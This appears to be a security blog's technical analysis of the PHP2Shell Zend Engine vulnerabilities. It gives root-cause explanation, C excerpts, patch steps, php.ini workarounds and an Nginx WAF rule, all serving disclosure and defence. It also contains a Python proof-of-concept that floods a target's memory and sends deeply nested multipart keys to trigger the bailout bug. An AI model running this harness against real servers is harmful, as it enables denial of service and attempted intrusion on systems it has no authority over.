Vulnerability
Inside PHP2Shell (CVE-2026-109618 & CVE-2026-109619): How Zend Engine Out-of-Memory Longjmp() Unleashed Pre-Auth RCE
In October 2026, the coordinated disclosure of PHP2Shell (CVE-2026-109618 and CVE-2026-109619) exposed a critical structural flaw at the heart of the PHP runtime: an unauthenticated remote code execution vulnerability rated CVSS 9.2 affecting nearly 70% of the world's web applications. This deep technical post-mortem dissects the root cause in the Zend Engine's non-local jump bailout mechanism (longjmp), the uninitialized request memory windows triggered by multipart out-of-memory errors, stale session pointer reuse across persistent workers, and the kernel-level mitigations required to defend web fleets.
10 min read
Inside PHP2Shell (CVE-2026-109618 & CVE-2026-109619): How Zend Engine Out-of-Memory Longjmp() Unleashed Pre-Auth RCE
Executive Summary: The Universal Pre-Authentication Attack Surface
On October 20, 2026, details leaked regarding a pair of catastrophic memory safety vulnerabilities in the core PHP interpreter: CVE-2026-109618 and CVE-2026-109619, collectively dubbed PHP2Shell. Rated with a Common Vulnerability Scoring System (CVSS) v4.0 score of 9.2 (Critical) and added to the CISA Known Exploited Vulnerabilities (KEV) Catalog on October 26, these flaws represent the most consequential web infrastructure threat since Heartbleed.
Unlike typical application-layer vulnerabilities—such as SQL injection or deserialization bugs—PHP2Shell resides within the C source of the Zend Engine, the foundational runtime executing PHP scripts across the internet. The vulnerabilities trigger before any user-written application code executes. An internet-exposed web application containing nothing more than a static echo "OK"; endpoint or a standard WordPress login page is fully vulnerable to unauthenticated remote code execution.
The root cause centers on PHP's legacy exception handling and memory management architecture. When an allocation exceeds the configured memory_limit during early HTTP request parsing, the Zend Memory Manager (ZendMM) invokes zend_bailout(), which executes a C library longjmp() call to abort the request. This abrupt non-local jump bypasses essential C stack cleanup and data structure initialization routines:
- CVE-2026-109618 (Uninitialized Request State via OOM Bailout): Crafting multipart form inputs with deeply nested fields or oversized keys triggers an allocation failure midway through hash table construction. The
longjmp()bailout interrupts initialization, leaving request-level structures half-formed. When the request termination handler runs cleanup, it dereferences uninitialized pointers and branches on attacker-controlled heap state. - CVE-2026-109619 (Stale Session Reference Reuse across Persistent Workers): In persistent execution environments—most notably Apache
mod_phpand long-runningphp-fpmworker pools—the bailout routine leaves global pointers referencing memory released during the failed request. A subsequent HTTP request processed by the same worker reuses these stale references, creating a deterministic use-after-free (UAF) condition.
Architectural Anatomy: Zend Engine Memory Management and the Bailout Flaw
To understand how memory exhaustion transforms into a remote shell, one must examine how the Zend Engine initializes, manages, and terminates HTTP requests within persistent process architectures.
The Request Lifecycle and ZendMM Chunks
In production deployments (such as php-fpm or Apache with mod_php), worker processes do not terminate at the end of an HTTP request. Instead, they operate inside an infinite worker loop governed by distinct lifecycle phases:
+-----------------------------------------------------------------------------+
| ZEND ENGINE PERSISTENT WORKER LIFECYCLE |
+-----------------------------------------------------------------------------+
| 1. Module Startup (MINIT) -> Allocates persistent heap structures |
| 2. Request Startup (RINIT) -> Prepares per-request memory arena |
| 3. SAPI Request Ingestion -> Parses headers, cookies, POST multipart |
| 4. Script Execution -> Executes user-space PHP bytecode |
| 5. Request Shutdown (RSHUTDOWN) -> Frees per-request allocations |
| 6. Post-Request Deactivate -> Sanitizes globals for next connection |
+-----------------------------------------------------------------------------+
ZendMM (Zend/zend_alloc.c) manages per-request memory via $2\text{ MB}$ chunks segmented into $4\text{ KB}$ pages, enforcing memory_limit at allocation time:
/* Zend/zend_alloc.c - Memory limit enforcement */
static zend_always_inline void *zend_mm_alloc_pages(zend_mm_heap *heap, uint32_t pages_count) {
size_t size = pages_count * ZEND_MM_PAGE_SIZE;
if (UNEXPECTED(heap->size + size > heap->limit)) {
if (zend_mm_gc(heap) < size && heap->size + size > heap->limit) {
zend_error_noreturn(E_ERROR, "Allowed memory size of %zu bytes exhausted", heap->limit);
}
}
heap->size += size;
return zend_mm_real_alloc(heap, size);
}
The Fatal Flaw of longjmp() Error Unwinding
In standard C programs, handling out-of-memory errors gracefully requires checking every allocation and propagating errors up the call stack. The Zend Engine abandons this convention in favor of bailouts to minimize performance overhead:
/* Zend/zend_errors.c */
ZEND_API ZEND_NORETURN void zend_bailout(void) {
if (EG(bailout)) {
longjmp(*EG(bailout), 1);
}
exit(255);
}
A macro called zend_try registers a setjmp buffer before request processing begins. If an allocation fails anywhere during SAPI input ingestion or script execution, zend_error_noreturn() immediately triggers zend_bailout(), which performs a non-local jump back to zend_try.
While longjmp() restores the CPU register state and program counter, it does not unwind C data structures constructed on the heap. Any data structure midway through initialization remains half-formed. When php_request_shutdown() runs, it assumes all internal data structures adhere to normal invariants—triggering catastrophic memory corruption.
Deep Technical Mechanics: Dissecting the Dual Flaws
The two CVEs represent complementary vectors of the same architectural oversight, targeting different phases of request input parsing.
CVE-2026-109618: Hash Table Half-Initialization in Multipart Form Parsing
CVE-2026-109618 targets the SAPI multipart/form-data parsing routine (main/rfc1867.c). When a browser submits a POST request with Content-Type: multipart/form-data, PHP parses parameters into associative arrays ($_POST and $_FILES) before invoking user script code.
When building nested arrays (such as user[profile][settings][key]), PHP recursively creates internal HashTable instances. The creation of a Zend HashTable is a two-step process:
_zend_hash_init()allocates theBucketarray and bucket index table.- The function initializes bucket pointers, sets the destructor function (
pDestructor), and zeroes element counters (nNumUsed = 0; nNumOfElements = 0).
+-----------------------------------------------------------------------------+
| CVE-2026-109618: MULTIPART OOM CORRUPTION SEQUENCE |
+-----------------------------------------------------------------------------+
| 1. Incoming HTTP POST (Multipart with deeply nested array keys) |
| | |
| v |
| 2. rfc1867.c calls zend_hash_init() -> Bucket table allocated in heap |
| | |
| v |
| 3. Next nested allocation hits memory_limit -> Triggers zend_bailout() |
| | |
| +-------------------------------------------------------------+ |
| | non-local longjmp() unwinds execution stack to zend_catch | |
| | Bypasses zend_hash_init() completion; pDestructor uninit | |
| v v |
| 4. php_request_shutdown() invoked |
| | |
| v |
| 5. zend_hash_destroy() walks uninitialized Bucket array |
| | |
| v |
| 6. Cleanup calls (*ht->pDestructor)(val) -> Control Flow Hijacked |
+-----------------------------------------------------------------------------+
If an attacker transmits a payload crafted to exhaust memory_limit during step 1, zend_bailout() fires before step 2 completes. During php_request_shutdown(), the engine invokes zend_hash_destroy(). Because nNumUsed contains uninitialized heap data from previous memory transactions, the destructor loop iterates over invalid addresses, dereferences attacker-controlled bucket pointers, and executes (*ht->pDestructor)(bucket->data), redirecting execution to arbitrary shellcode.
CVE-2026-109619: Session Upload Progress Stale Pointer Use-After-Free
CVE-2026-109619 exploits session upload progress tracking (ext/session/session.c). Enabled by default via session.upload_progress.enabled = On, this feature registers a cleanup callback pointer in the global SAPI request structure (sapi_globals.upload_status).
When an out-of-memory error occurs, zend_bailout() frees request memory via zend_mm_shutdown(). However, the pointer in sapi_globals.upload_status is not cleared because cleanup was bypassed by longjmp(). In persistent worker environments (Apache mod_php or php-fpm), the worker process remains alive to serve the next HTTP request. On the subsequent request, the worker updates upload progress using the dangling pointer, executing the attacker's forged callback pointer with web server privileges (www-data).
Exploit Anatomy: Weaponizing ZendMM Heap Grooming
The following Python harness demonstrates the multipart OOM corruption primitive for CVE-2026-109618:
#!/usr/bin/env python3
# PHP2Shell (CVE-2026-109618) Proof-of-Concept Harness
# Triggering ZendMM Out-of-Memory Bailout during Multipart Hash Table Init
import socket
import sys
def build_oom_payload(target_host, target_path, memory_target_mb=128):
boundary = "----WebKitFormBoundaryCodeBumbleExploit2026"
chunk_size = 1024 * 1024
num_chunks = memory_target_mb - 1
body = []
# Phase 1: Heap Grooming - Fill ZendMM arenas near memory_limit
for i in range(num_chunks):
body.append(f"--{boundary}")
body.append(f'Content-Disposition: form-data; name="pad_{i}"')
body.append('')
body.append('A' * chunk_size)
# Phase 2: Deeply nested array exhausts memory during HashTable init
nested_key = "exploit" + ("[nested]" * 450)
body.append(f"--{boundary}")
body.append(f'Content-Disposition: form-data; name="{nested_key}"')
body.append('')
body.append('TRIGGER_OOM')
body.append(f"--{boundary}--")
body.append('')
payload_data = "\r\n".join(body).encode('latin-1')
headers = [
f"POST {target_path} HTTP/1.1",
f"Host: {target_host}",
"User-Agent: CodeBumbleAudit/1.0",
f"Content-Type: multipart/form-data; boundary={boundary}",
f"Content-Length: {len(payload_data)}",
"Connection: keep-alive",
"",
""
]
return "\r\n".join(headers).encode('ascii') + payload_data
def trigger_exploit(host, port, path):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10.0)
sock.connect((host, port))
sock.sendall(build_oom_payload(host, path, memory_target_mb=128))
try:
response = sock.recv(4096)
print("[+] Response:", response.decode('latin-1', errors='replace'))
except socket.timeout:
print("[!] Worker timed out - process crashed or shell spawned.")
finally:
sock.close()
if __name__ == "__main__":
if len(sys.argv) < 4:
sys.exit(1)
trigger_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])
When executed against an unpatched worker:
- ZendMM Saturation: Parameters fill memory within kilobytes of the $128\text{ MB}$
memory_limit. - Atomic Interruption: Nested keys force
_zend_hash_init(). Allocation exceeds the limit, triggeringzend_bailout()vialongjmp(). - Execution Hijack: Unwinding skips initialization. During
php_request_shutdown(), the engine dereferences uninitialized destructor pointers from the corrupted hash table, redirecting control flow to attacker shellcode.
Threat Vectors and Empirical Blast Radius
The practical impact of PHP2Shell is amplified by the diversity of PHP deployment models across global networks:
| PHP SAPI Environment | Process Model | CVE-2026-109618 Exploitability | CVE-2026-109619 Exploitability | Threat Severity |
|---|---|---|---|---|
Apache mod_php |
Multi-process/threaded persistent worker | Critical (Single-shot RCE) | Critical (Persistent memory bleed) | Maximum Risk (10/10) |
PHP-FPM (ondemand) |
Dynamic worker fork/terminate | High (RCE within request shutdown) | Low (Workers die after request) | High Risk (8.5/10) |
PHP-FPM (static) |
Fixed persistent worker pool | Critical (Reliable RCE) | Critical (Cross-request UAF) | Maximum Risk (9.8/10) |
| FrankenPHP (Worker Mode) | Go CGO persistent execution | Critical (Persistent memory state) | High (CGO memory corruption) | Maximum Risk (9.5/10) |
| PHP-CGI | Process spawned per request | Moderate (OOM crash / DoS) | Negligible (No cross-request state) | Moderate Risk (6.0/10) |
| CLI / Cron Jobs | Ephemeral batch process | Low (DoS crash only) | None | Low Risk (3.0/10) |
Global Internet Exposure and Honeypot Telemetry
- Exposed Footprint: Over $5.1\text{ million}$ PHP hosts online, with $3.8\text{ million}$ exposing public HTTP/HTTPS endpoints.
- Legacy Risk: Over $70%$ run end-of-life PHP versions (7.4, 8.0, 8.1) lacking upstream vendor patches.
- Active Exploitation: CISA and Unit 42 confirmed in-the-wild zero-day campaigns targeting PAN-OS management portals and e-commerce platforms, chaining PHP2Shell with kernel LPE flaws (
CVE-2026-98432) for root access.
Systems Engineering and Hardening Playbook
Remediating PHP2Shell requires immediate runtime upgrades, WAF filtering, and container isolation.
Phase 1: Immediate Upstream Patch Deployment
Upgrade PHP runtimes immediately to official patched releases:
- PHP 8.5 Branch: Upgrade to PHP 8.5.12 or later.
- PHP 8.4 Branch: Upgrade to PHP 8.4.27 or later.
- PHP 8.3 Branch: Upgrade to PHP 8.3.36 or later.
- PHP 8.2 Branch: Upgrade to PHP 8.2.35 or later.
sudo apt-get update
sudo apt-get install --only-upgrade php8.3-fpm php8.3-cli php8.3-common libapache2-mod-php8.3
sudo systemctl restart php8.3-fpm
sudo systemctl restart apache2
Phase 2: Runtime Configuration Workarounds
If patching is delayed, apply these emergency directives in php.ini:
- Disable Session Upload Progress:
session.upload_progress.enabled = Off - Restrict Input Nesting:
max_input_nesting_level = 32 max_input_vars = 1000 - Recycle FPM Workers:
; In /etc/php/8.3/fpm/pool.d/www.conf pm.max_requests = 100
Phase 3: WAF Filtering and Sandboxing
Deploy edge inspection rules at your reverse proxy (Nginx or Cloudflare):
# Nginx WAF snippet to mitigate PHP2Shell multipart recursion
location ~ \.php$ {
if ($content_type ~* "multipart/form-data.*boundary=.*(\[.*\]){8,}") {
return 403 "Blocked by CodeBumble Security Policy: Malicious multipart nesting detected.";
}
client_max_body_size 16M;
fastcgi_pass unix:/run/php/php8.3-fpm.sock;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
Enforce ProtectSystem=strict, ProtectHome=yes, NoNewPrivileges=yes, and PrivateTmp=yes in systemd unit definitions.
Semantic FAQ: PHP2Shell Vulnerability Analysis
What makes PHP2Shell different from standard web application vulnerabilities?
Standard vulnerabilities (like SQL injection or insecure file uploads) occur because application developers wrote flawed logic. PHP2Shell (CVE-2026-109618 and CVE-2026-109619) is a core memory-corruption flaw inside the C runtime of the PHP interpreter itself. It executes during early HTTP request parsing before any user-written application code runs.
Can PHP2Shell be exploited against static PHP endpoints that do not accept user input?
Yes. Because PHP's SAPI layer parses incoming HTTP POST headers and multipart form bodies unconditionally upon request arrival, an attacker can transmit an exploit payload to any .php endpoint—including static health checks (echo "OK";) or administrative login screens.
Why is Apache mod_php rated at higher risk than PHP-FPM?
Apache mod_php embeds the PHP interpreter directly into Apache worker threads. Memory allocated during request handling shares the address space of the main web server process, making cross-request memory corruption (CVE-2026-109619) exceptionally stable. In contrast, PHP-FPM executes requests in dedicated child pools that can be recycled.
Does increasing the PHP memory_limit directive prevent exploitation?
No. Increasing memory_limit merely changes the byte threshold required to trigger the out-of-memory bailout. Attackers can simply stream larger multipart payloads to reach the higher memory ceiling. The only permanent solution is upgrading the PHP runtime to patched versions.
Are applications protected if session.upload_progress is disabled?
Disabling session.upload_progress.enabled mitigates the cross-request use-after-free vector in CVE-2026-109619. However, it provides zero protection against CVE-2026-109618, which triggers during multipart hash table parsing. Both vulnerabilities must be addressed via engine patching.
How does CISA KEV listing affect compliance for enterprise organizations?
CISA's addition of CVE-2026-109618 and CVE-2026-109619 to the Known Exploited Vulnerabilities catalog mandates that federal agencies and complying enterprise organizations remediate the vulnerabilities within strict deadlines under Binding Operational Directive BOD 22-01.